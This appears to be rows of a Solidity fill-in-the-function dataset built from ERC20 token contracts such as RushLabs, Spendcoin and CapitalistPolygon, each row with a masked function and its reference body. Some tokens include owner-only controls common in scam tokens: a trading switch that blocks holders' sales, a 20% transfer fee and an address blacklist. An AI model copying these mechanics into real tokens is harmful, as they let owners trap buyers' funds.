_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setTradingOpen(bool _tradingOpen) external onlyOwner {
tradingOpen = _tradingOpen;
}
} | contract RushLabs is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _feeAddr1 = 0;
uint256 public _feeAddr2 = 20;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "RushLabs";
string private constant _symbol = "RUSH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8);
_feeAddrWallet2 = payable(0x14f8FaE5e8efEA085BcD8CB6C3afbcC42E331aB8);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingOpen || from == uniswapV2Pair || from == owner() || to == owner() || from == address(this) || to == address(this), "not able to trade");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
<FILL_FUNCTION>
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), ~uint256(0));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function setMaxTxPercent(uint256 _maxTxPercent) external onlyOwner {
require(_maxTxPercent <= 10000, "!max tx percent");
_maxTxAmount = _tTotal.mul(_maxTxPercent).div(10000);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setTradingOpen(bool _tradingOpen) external onlyOwner {
tradingOpen = _tradingOpen;
}
} |
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
| function swapTokensForEth(uint256 tokenAmount) private lockTheSwap | function swapTokensForEth(uint256 tokenAmount) private lockTheSwap |
43924 | ERC20Token | null | contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {<FILL_FUNCTION_BODY> }
} | contract ERC20Token is Context, ERC20 {
<FILL_FUNCTION>
} |
_createContract(creator, initialSupply);
| constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) | constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) |
45072 | Spendcoin | transferFrom | contract Spendcoin is ERC20Interface, Tokenlock {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Spendcoin() public {
symbol = "SPND";
name = "Spendcoin";
decimals = 18;
_totalSupply = 2000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Do accept ETH
// ------------------------------------------------------------------------
function () public payable {
}
// ------------------------------------------------------------------------
// Owner can withdraw ether if token received.
// ------------------------------------------------------------------------
function withdraw() public onlyOwner returns (bool result) {
address tokenaddress = this;
return owner.send(tokenaddress.balance);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract Spendcoin is ERC20Interface, Tokenlock {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Spendcoin() public {
symbol = "SPND";
name = "Spendcoin";
decimals = 18;
_totalSupply = 2000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Do accept ETH
// ------------------------------------------------------------------------
function () public payable {
}
// ------------------------------------------------------------------------
// Owner can withdraw ether if token received.
// ------------------------------------------------------------------------
function withdraw() public onlyOwner returns (bool result) {
address tokenaddress = this;
return owner.send(tokenaddress.balance);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
58841 | Authorizable | setAuthorized | contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
/**
* @dev The Authorizable constructor sets the first `authorized` of the contract to the sender
* account.
*/
function Authorizable() public {
authorized[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the authorized.
*/
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
/**
* @dev Allows the current owner to set an authorization.
* @param addressAuthorized The address to change authorization.
*/
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public {<FILL_FUNCTION_BODY> }
} | contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
/**
* @dev The Authorizable constructor sets the first `authorized` of the contract to the sender
* account.
*/
function Authorizable() public {
authorized[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the authorized.
*/
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
<FILL_FUNCTION>
} |
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
| function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public | /**
* @dev Allows the current owner to set an authorization.
* @param addressAuthorized The address to change authorization.
*/
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public |
78235 | Name | null | contract Name is TAO {
/**
* @dev Constructor function
*/
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {<FILL_FUNCTION_BODY> }
} | contract Name is TAO {
<FILL_FUNCTION>
} |
// Creating Name
typeId = 1;
| constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public | /**
* @dev Constructor function
*/
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public |
85395 | Basic23Token | transfer | contract Basic23Token is Utils, ERC23Basic, BasicToken {
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred
* @param _data is arbitrary data sent with the token transferFrom. Simulates ether tx.data
* @return bool successful or not
*/
function transfer(address _to, uint _value, bytes _data)
public
validAddress(_to)
notThis(_to)
greaterThanZero(_value)
returns (bool success)
{<FILL_FUNCTION_BODY> }
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
validAddress(_to)
notThis(_to)
greaterThanZero(_value)
returns (bool success)
{
return transfer(_to, _value, new bytes(0));
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner)
public
validAddress(_owner)
constant returns (uint256 balance)
{
return super.balanceOf(_owner);
}
//function that is called when transaction target is a contract
function contractFallback(address _origin, address _to, uint _value, bytes _data) internal returns (bool success) {
ERC23Receiver reciever = ERC23Receiver(_to);
return reciever.tokenFallback(msg.sender, _origin, _value, _data);
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
} | contract Basic23Token is Utils, ERC23Basic, BasicToken {
<FILL_FUNCTION>
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value)
public
validAddress(_to)
notThis(_to)
greaterThanZero(_value)
returns (bool success)
{
return transfer(_to, _value, new bytes(0));
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner)
public
validAddress(_owner)
constant returns (uint256 balance)
{
return super.balanceOf(_owner);
}
//function that is called when transaction target is a contract
function contractFallback(address _origin, address _to, uint _value, bytes _data) internal returns (bool success) {
ERC23Receiver reciever = ERC23Receiver(_to);
return reciever.tokenFallback(msg.sender, _origin, _value, _data);
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) internal returns (bool is_contract) {
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
} |
require(_to != address(0));
require(_value <= balances[msg.sender]); // Ensure Sender has enough balance to send amount and ensure the sent _value is greater than 0
require(balances[_to].add(_value) > balances[_to]); // Detect balance overflow
assert(super.transfer(_to, _value)); //@dev Save transfer
if (isContract(_to)){
return contractFallback(msg.sender, _to, _value, _data);
}
return true;
| function transfer(address _to, uint _value, bytes _data)
public
validAddress(_to)
notThis(_to)
greaterThanZero(_value)
returns (bool success)
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred
* @param _data is arbitrary data sent with the token transferFrom. Simulates ether tx.data
* @return bool successful or not
*/
function transfer(address _to, uint _value, bytes _data)
public
validAddress(_to)
notThis(_to)
greaterThanZero(_value)
returns (bool success)
|
84474 | XYearnNetwork | null | contract XYearnNetwork is ERC20 {
constructor ()
ERC20('XYearnNetwork', 'XYN')
public
{<FILL_FUNCTION_BODY> }
} | contract XYearnNetwork is ERC20 {
<FILL_FUNCTION>
} |
_mint(0xBA0004DFC16a8608EEB28053E9235686b61c3773, 35000 * 10 ** uint(decimals()));
| constructor ()
ERC20('XYearnNetwork', 'XYN')
public
| constructor ()
ERC20('XYearnNetwork', 'XYN')
public
|
44695 | CapitalistPolygon | null | contract CapitalistPolygon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Capitalist Polygon";
string private constant _symbol = "CPN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract CapitalistPolygon is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
